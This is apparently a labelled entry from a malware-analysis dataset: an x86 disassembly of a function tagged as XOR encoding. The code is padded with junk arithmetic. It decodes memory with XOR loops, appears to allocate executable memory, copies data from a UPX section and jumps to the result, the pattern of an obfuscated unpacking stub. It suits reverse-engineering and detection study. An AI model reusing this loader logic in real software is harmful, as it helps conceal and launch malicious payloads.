Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1dc58f5
and esi, eax
not esi
popal
not eax
sub eax, 0x74d1befb
mov edi, 0
mov edx, ebx
add eax, 0x8c5aa1c3
mov ecx, 0x31f3a2d3
mov esi, edx
add ecx, 0x1fb23473
dec eax
mov ebx, esi
add ecx, ecx
or eax, ecx
sub eax, ecx
inc edi
sub eax, 0x96ca7ac6
sub ecx, eax
sub ecx, 1
cmp edi, 0x100bd8c
jne 0x47afd0
and eax, ecx
sub eax, 1
dec eax
cmp edi, 0x100bd8c
je 0x47b021
mov ecx, 0
mov dword [ecx], edx
not eax
and ecx, ecx
add esi, 0xcfa621aa
mov esi, eax
mov eax, 0x47ada2
and edx, ebx
not ebx
mov edi, edx
mov ecx, 0x47af96
not edi
or edi, edx
mov edx, 0x9d646972
mov esi, dword [eax]
or ebx, edi
add ebx, ebx
dec edi
and esi, 0xff
add ebx, ebx
dec edx
xor dword [ecx], esi
dec ebx
sub edx, 0xb1921f48
inc ecx
add edi, edx
add edi, ebx
mov ebx, edx
inc eax
inc edi
dec edx
sub edi, 1
cmp ecx, entry0
jl 0x47b046
sub edx, ebx
not edi
and ebx, edi
and edx, edi
or ebx, edx
inc edi
and ebx, edi
and ecx, esi
mov edx, 0x47af9a
sub ebx, 0xb7cb053f
or esi, esi
add esi, 0x202c5c46
mov edx, dword [edx]
add ecx, ebx
add ecx, 1
sub esi, edi
mov edx, dword [edx]
sub edi, 0x3b0245f
or esi, edi
mov ecx, 0x18da1965
push edx
or ebx, ebx
mov esi, 0xc0879b1a
sub ebx, edi
mov edx, 0x47af96
add esi, esi
sub edi, ebx
mov edx, dword [edx]
add esi, 1
inc edi
add esi, 0x538d9534
mov edx, dword [edx]
mov edi, esi
sub ebx, 0xe0a7ea4f
push 0x47af9e
add esi, edi
add esi, esi
call edx
sub esi, 0xae36b2fa
and edi, edi
and ecx, ecx
pop edx
and ecx, ecx
or ebx, edi
push 0x47afab
not esi
and edi, edi
sub esp, 4
mov dword [esp], eax
and esi, ebx
inc ecx
call edx
and edi, edi
and ecx, ebx
add edi, 0x1d216a64
push 0x40
not edi
mov ebx, edi
mov ebx, ecx
push 0x3000
sub ecx, edi
inc ebx
dec esi
push 0x20000be9
mov ebx, 0x44111a5b
dec esi
push 0
mov esi, 0xfc59ed9f
or ecx, ecx
call eax
add edi, edi
inc ecx
add eax, 0x20000b5f
not ebx
sub ecx, 1
mov edx, 0xe5907392
inc ebx
or edi, edi
add edi, 0x368b8710
mov dword [eax], edx
not ecx
not ecx
mov ebx, 0x1389a49
mov edx, dword [eax]
not esi
not ecx
mov edi, ebx
cmp edx, 0xe5907392
je 0x47b18a
mov eax, 0
mov byte [eax], dl
or ecx, ecx
or ebx, edi
inc ebx
inc ecx
mov esi, ecx
add esi, ebx
add esi, 0xeadb9fe4
or esi, esi
mov ebx, section.UPX1
mov eax, 0x30672fe9
and eax, esi
mov edi, 0x47ada1
sub eax, 0xb97e1e2b
and eax, esi
mov ecx, 0
sub eax, esi
inc eax
add eax, eax
mov edx, 0x47ada2
add eax, eax
mov esi, 0xa9e6d75e
lea edx, [edx + ecx]
sub esi, 0x5509ee82
and eax, esi
mov edx, dword [edx]
add esi, 0x42d6c500
add eax, esi
and edx, 0xff
dec eax
and eax, esi
inc ecx
add esi, esi
dec eax
cmp ecx, 0x1f4
jne 0x47b1fa
mov ecx, 0
and eax, eax
and esi, eax
add esi, 0x8b84d7ee
sub eax, esi
or esi, esi
xor dword [ebx], edx
not esi
add esi, 0xb7e85cb1
add ebx, 2
or esi, esi
add eax, 0x8b361855
cmp ebx, edi
jl 0x47b1bf
add esi, esi
sub eax, 0xec52be31
and eax, eax
sub eax, esi
add eax, 0xcc3c296f
mov edx, section.UPX1
mov esi, 0x1139633c
sub edi, esi
sub esi, 1
mov ebx, section.UPX1
mov esi, 0xb5efbc4f
add edi, 0xa95b7da2
sub edi, esi
mov eax, 0x47ada1
dec esi
add esi, 0xabaf19f0
or edi, edi
mov ecx, 0
sub esi, edi
sub esi, 0x31d2af9d
mov cl, byte [ebx]
sub edi, esi
add edi, edi
mov byte [edx], cl
sub edi, 0xe769f335
mov edi, esi
mov esi, 0x408b7083
inc edx
inc edi
add esi, 0x5909e16f
add ebx, 2
mov edi, esi
mov esi, 0x1f0db894
mov esi, edi
cmp ebx, eax
jle 0x47b279
add edi, 0xcc825a95
add esi, 0xd1627c81
mov eax, 0x28537cd4
dec eax
push 0x45e6a0
add esi, 1
add eax, 1
and esi, eax
ret